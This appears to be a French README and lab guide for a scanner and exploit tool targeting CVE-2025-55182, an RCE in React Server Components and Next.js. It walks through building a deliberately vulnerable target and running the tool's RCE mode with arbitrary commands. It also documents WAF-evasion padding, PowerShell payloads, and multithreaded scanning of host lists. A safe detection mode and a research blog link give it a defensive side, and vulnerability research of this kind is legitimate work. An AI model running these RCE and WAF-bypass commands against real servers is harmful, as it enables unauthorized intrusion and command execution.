
CVE-2025-55182(React Server Components 反序列化远程代码执行漏洞)
| Composant | Version recommandée pour la reproduction | Plage de versions vulnérables |
|---|---|---|
| Node.js | >= 20.9.0 | 20.9.0 (LTS) et supérieur |
| Next.js | 15.0.0 | 15.x, 16.x (App Router) |
| React Core | 19.0.0 ou 19.2.0 | 19.0.0 à 19.2.0 |
| RSC Bundler | react-server-dom-webpack | 19.0.0 à 19.2.0 |
Forcer l'installation d'une version basse
cd cve-2025-55182-target
npm install --force
Vérifier les versions des dépendances
npm list react next
# Confirmer que la sortie affiche [email protected] et [email protected]
Tant que la liste des dépendances de premier niveau affiche [email protected] et [email protected], l'environnement est verrouillé dans un état vulnérable. Ignorez les avertissements et codes d'erreur ici.
Construction :
npm run build
Exécution :
npm start
Le serveur écoutera sur http://localhost:3000. L'environnement est prêt pour la validation de la vulnérabilité.
Détection / scan de la vulnérabilité :
cd React2shell
python3 scanner.py -u http://127.0.0.1:3000/
RCE :
python3 scanner_with_rce.py -u http://127.0.0.1:3000/ -c "ls /"


Un outil en ligne de commande pour détecter les vulnérabilités CVE-2025-55182 et CVE-2025-66478 dans les React Server Components (RSC) des applications Next.js.
Pour une présentation détaillée des détails techniques et des méthodes de détection, consultez notre article de blog : https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478
Par défaut, le scanner envoie une requête POST multipart spécialement conçue contenant une charge utile de vérification RCE pour effectuer une opération mathématique déterministe (41*271 = 11111). Le serveur vulnérable renvoie le résultat du calcul sous la forme /login?a=11111 dans l'en-tête de réponse X-Action-Redirect.
Le scanner teste d'abord le chemin racine. Si le chemin racine n'est pas vulnérable, il suit les redirections de même origine (par exemple de / vers /en/) et teste la cible de la redirection. Les redirections inter-origines ne sont pas suivies.
Utilisez le drapeau --safe-check pour activer un mode de détection sécurisé qui repose sur des signaux indirects (comme un code d'état 500 et un résumé d'erreur spécifique) sans exécuter de code sur la cible. Utilisez ce mode lorsque vous ne souhaitez pas exécuter de RCE.
Utilisez le drapeau --waf-bypass pour ajouter des données aléatoires avant le corps de la requête multipart. Cela aide à contourner les WAF qui n'analysent que le début du corps de la requête. La taille par défaut est de 128 Ko, configurable avec --waf-bypass-size. Lorsque le contournement WAF est activé, le délai d'attente augmente automatiquement à 20 secondes (sauf si explicitement défini).
Utilisez le drapeau --windows pour passer la charge utile du shell Unix (echo $((41*271))) à PowerShell (powershell -c "41*271"), adapté aux cibles fonctionnant sous Windows.
pip install -r requirements.txt
Analyser un seul hôte :
python3 scanner.py -u https://example.com
Analyser une liste d'hôtes :
python3 scanner.py -l hosts.txt
Analyser avec plusieurs threads et sauvegarder les résultats :
python3 scanner.py -l hosts.txt -t 20 -o results.json
Analyser avec des en-têtes personnalisés :
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
Détection sécurisée par contournement :
python3 scanner.py -u https://example.com --safe-check
Analyser des cibles Windows :
python3 scanner.py -u https://example.com --windows
Analyser avec contournement WAF :
python3 scanner.py -u https://example.com --waf-bypass
Exécuter une commande RCE :
python3 scanner.py -u https://example.com -c "ls /"
-u, --url URL unique à vérifier
-c, --cmd Commande à exécuter
-l, --list Fichier contenant les hôtes (un par ligne)
-t, --threads Nombre de threads concurrents (par défaut : 10)
--timeout Délai d'attente de la requête en secondes (par défaut : 10)
-o, --output Fichier de sortie pour sauvegarder les résultats (format JSON)
--all-results Sauvegarder tous les résultats, pas seulement les hôtes vulnérables
-k, --insecure Désactiver la vérification du certificat SSL
-H, --header En-tête personnalisé (peut être utilisé plusieurs fois)
-v, --verbose Afficher les détails de réponse des hôtes vulnérables
-q, --quiet Afficher uniquement les hôtes vulnérables
--no-color Désactiver la sortie colorée
--safe-check Utiliser une détection sûre par contournement au lieu d'un PoC RCE
--windows Utiliser des charges utiles PowerShell Windows à la place du shell Unix
--waf-bypass Ajouter des données aléatoires pour contourner la détection de contenu WAF
--waf-bypass-size Taille des données aléatoires en Ko (par défaut : 128)
Le PoC RCE a été initialement divulgué publiquement par @maple3142 – nous le remercions sincèrement pour sa contribution à la publication d'un PoC fonctionnel.
Cet outil a été initialement conçu pour la détection sécurisée de cette RCE. Cette fonctionnalité reste disponible via le mode de détection sécurisée --safe-check.
Les résultats sont affichés dans le terminal. Avec le paramètre -o, les hôtes vulnérables sont sauvegardés dans un fichier JSON, incluant les requêtes et réponses HTTP complètes pour vérification.